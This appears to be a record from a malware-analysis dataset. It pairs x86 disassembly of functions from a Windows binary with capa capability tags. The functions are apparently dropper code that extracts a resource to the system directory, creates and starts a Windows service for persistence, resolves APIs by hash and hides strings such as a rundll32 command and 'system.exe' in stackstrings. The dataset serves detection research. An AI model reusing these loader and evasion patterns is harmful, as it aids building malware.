joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401041
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
jmp 0x401380
mov eax, dword [esp + 4]
sub esp, 0x108
and eax, 0xffff
push ebx
push ebp
push esi
push str.BINARYFILE
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
jne 0x4013b0
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
test ebp, ebp
jne 0x4013c9
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
push edi
lea ecx, [esp + 0x14]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x46dfe0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x128]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x28]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
pop edi
cmp esi, 0xffffffff
jne 0x401464
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x108
ret
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esp + 0xc]
push 0
push ecx
push eax
push ebp
push esi
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x401498
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x108
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x108
ret
Function at 0x401046
Capabilities:
Query service status
Start service

Disassembly:
jmp 0x4017a0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4017d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4017f2
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea edx, [esp + 0x10]
push edx
push esi
call ebp
test eax, eax
jne 0x401815
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
cmp dword [esp + 0x14], 4
je 0x40184c
mov edi, dword [esp + 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push esi
call ebp
test eax, eax
je 0x401804
cmp dword [esp + 0x14], 4
je 0x40184c
mov eax, dword [esp + 0x24]
cmp edi, eax
je 0x401804
mov ecx, dword [esp + 0x28]
mov edi, eax
push ecx
call ebx
jmp 0x401826
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1c
ret

Function at 0x401055
Capabilities:
Query service status

Disassembly:
jmp 0x401190
sub esp, 0x1c
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
push edi
xor ebp, ebp
push 0xf003f
push ebp
push ebp
mov dword [ebx], ebp
mov dword [ebx + 4], ebp
mov dword [ebx + 8], ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebp
jne 0x4011c2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
mov eax, dword [esp + 0x30]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x4011f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
je 0x401236
push edi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
lea ecx, [esp + 0x10]
mov dword [ebx], 1
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x401225
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
cmp dword [esp + 0x14], 4
jne 0x401233
mov dword [ebx + 4], 1
push esi
call ebp
push edi
call ebp
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x34]
push edx
push eax
call fcn.00401005
add esp, 8
test eax, eax
je 0x401256
mov dword [ebx + 8], 1
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1c
ret
Function at 0x40106e
Capabilities:
Query service status
Stop service

Disassembly:
jmp 0x401890
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4018c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
lea edx, [esp + 0x10]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x4018e5
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [esp + 0x10]
push eax
push esi
call ebp
test eax, eax
jne 0x401908
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
cmp dword [esp + 0x14], 1
je 0x40193f
mov edi, dword [esp + 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x10]
push ecx
push esi
call ebp
test eax, eax
je 0x4018f7
cmp dword [esp + 0x14], 1
je 0x40193f
mov eax, dword [esp + 0x24]
cmp edi, eax
je 0x4018f7
mov edx, dword [esp + 0x28]
mov edi, eax
push edx
call ebx
jmp 0x401919
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1c
ret

Function at 0x40109b
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
jmp 0x4015c0
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push edi
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x46dfe0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x124]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push eax
lea eax, [esp + 0x20]
mov ecx, ebx
push eax
mov eax, dword [esp + 0x130]
and ecx, 3
push 1
push 2
push 1
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x138]
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x40166f
add esp, 0x104
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
add esp, 0x104
ret
Function at 0x4010aa
Capabilities:
Delete service

Disassembly:
jmp 0x4016d0
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push esi
push edi
mov edi, dword [esp + 0x18]
push 0xf01ff
push edi
push ebx
call ebp
mov esi, eax
test esi, esi
jne 0x4016fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
jne 0x401710
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
push esi
jne 0x401717
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], 0
push 0xc8
call esi
push 0xf01ff
push edi
push ebx
call ebp
test eax, eax
je 0x40175b
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 0x19
mov dword [esp + 0x18], eax
jl 0x40172b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x402bd7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x14], edi
mov ebx, ecx
je 0x402c15
call fcn.0044a4d7
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x402c15
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402c2c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push 1
test edi, edi
pop eax
je 0x402c2c
push dword [esp + 0x18]
mov eax, dword [ebx]
mov ecx, ebx
push edi
push dword [esp + 0x18]
call dword [eax + 0x1c]
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x413125
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x46f748
cmp edx, dword [eax]
je 0x413147
add eax, 8
inc ecx
cmp eax, 0x46f7d8
jl 0x413138
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x46f748]
jne 0x413275
mov eax, dword [0x473704]
cmp eax, 1
je 0x41324f
test eax, eax
jne 0x413178
cmp dword [0x46f324], 1
je 0x41324f
cmp edx, 0xfc
je 0x413275
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4131af
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00413460
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00413550
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4131f2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00413550
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x462a54
push edi
call fcn.004183c0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00413460
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00413470
lea eax, [ebp - 0xa0]
push 0x462a34
push eax
call fcn.00413470
push dword [esi + 0x46f74c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00413470
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041832d
add esp, 0x2c
pop edi
jmp 0x413275
lea eax, [ebp + 8]
lea esi, [esi + 0x46f74c]
push 0
push eax
push dword [esi]
call fcn.00413550
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x420ed0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040f4f0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x420f9b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x420f9b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x420f4e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x420f59
or bh, 8
and edi, 0x8000000
je 0x420f74
mov eax, dword [0x47551c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x420f9b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x42139b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4213bf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x4213da
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x434587
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4345bf
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00433457
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0043342f
jmp 0x4345cb
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x436389
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4363cb
call fcn.0044a4d7
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4363cb
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4363c2
xor eax, eax
jmp 0x4363d3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004363d9
pop edi
pop esi
pop ebx
ret 4
Function at 0x488470
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4884e8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x4884c1
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x4884c1
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x4884d3
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x48848b
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret

Function at 0x488500
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 1
jmp 0x488536
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x488594
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
call fcn.00488470
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x488592
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov cx, word [edx + eax*2]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x488596
jmp 0x48852d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4885a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
call dword [fcn.00408004]
mov esp, ebp
pop ebp
ret
Function at 0x488870
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push 0x214c6981
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x20], eax
push 0x104
lea eax, [ebp - 0x2c0]
push eax
call dword [ebp - 0x20]
push 0x1c368da0
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x14], eax
call dword [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00488400
add esp, 0xc
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x144], 0x2e
mov byte [ebp - 0x143], 0x64
mov byte [ebp - 0x142], 0x6c
mov byte [ebp - 0x141], 0x6c
mov byte [ebp - 0x140], 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x2c0]
push eax
call fcn.00488670
add esp, 8
lea ecx, [ebp - 0x15c]
push ecx
lea edx, [ebp - 0x2c0]
push edx
call fcn.00488670
add esp, 8
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x2c0]
push ecx
call fcn.00488670
add esp, 8
mov dword [ebp - 0x2c4], 0
jmp 0x488942
mov edx, dword [ebp - 0x2c4]
add edx, 1
mov dword [ebp - 0x2c4], edx
cmp dword [ebp - 0x2c4], 1
jge 0x48894d
jmp 0x488933
mov dword [ebp - 0x2c8], 0
jmp 0x488968
mov eax, dword [ebp - 0x2c8]
add eax, 1
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 1
jge 0x488973
jmp 0x488959
push 0x4e1e0843
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x1ac], eax
push 0x7463a627
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x148], eax
push 0x70ebfb28
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x289fbd13
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
lea ecx, [ebp - 0x2c0]
push ecx
call dword [ebp - 0x1ac]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
je 0x488a1b
mov dword [ebp - 0x2cc], 0
push 0
lea edx, [ebp - 0x2cc]
push edx
push 0x5c00
push 0x41dc50
mov eax, dword [ebp - 0x13c]
push eax
call dword [ebp - 0x148]
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [ebp - 0x1c]
mov byte [ebp - 0x1b8], 0x52
mov byte [ebp - 0x1b7], 0x75
mov byte [ebp - 0x1b6], 0x6e
mov byte [ebp - 0x1b5], 0x64
mov byte [ebp - 0x1b4], 0x6c
mov byte [ebp - 0x1b3], 0x6c
mov byte [ebp - 0x1b2], 0x33
mov byte [ebp - 0x1b1], 0x32
mov byte [ebp - 0x1b0], 0x20
mov byte [ebp - 0x1af], 0
mov byte [ebp - 0xc], 0x20
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xa], 0x78
mov byte [ebp - 9], 0x62
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
push 0x44
push 0
lea edx, [ebp - 0x1a8]
push edx
call fcn.00488650
add esp, 0xc
mov dword [ebp - 0x1a8], 0x44
push 0x10
push 0
lea eax, [ebp - 0x138]
push eax
call fcn.00488650
add esp, 0xc
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x2c0]
push edx
call fcn.00488670
add esp, 8
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x128]
push ecx
call dword [fcn.00408018]
lea edx, [ebp - 0x2c0]
push edx
lea eax, [ebp - 0x128]
push eax
call fcn.00488670
add esp, 8
push 0
lea ecx, [ebp - 0x128]
push ecx
call dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x488e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push 0x4ee61051
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
call dword [fcn.00408004]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x488ece
lea ecx, [ebp - 0xc]
push ecx
call dword [fcn.00408014]
mov dword [ebp - 0x23c], eax
push 0x384977d3
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00488500
add esp, 8
mov dword [ebp - 0x238], eax
push 0x7f8a
push 0x7f00
push 0
call dword [fcn.004080fc]
push eax
call dword [fcn.004080f8]
push eax
call dword [ebp - 0x238]
call fcn.00488b10
call fcn.00488780
call fcn.00488870
push 0x660c1c02
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x240], eax
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [ebp - 0x240]
push 0x214c6981
call fcn.004885f0
add esp, 4
mov dword [ebp - 0x224], eax
push 0x104
lea ecx, [ebp - 0x118]
push ecx
call dword [ebp - 0x224]
mov byte [ebp - 0x234], 0x5c
mov byte [ebp - 0x233], 0x5c
mov byte [ebp - 0x232], 0x73
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6d
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0
lea edx, [ebp - 0x234]
push edx
lea eax, [ebp - 0x118]
push eax
call fcn.00488670
add esp, 8
push 1
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [ebp - 0x10]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10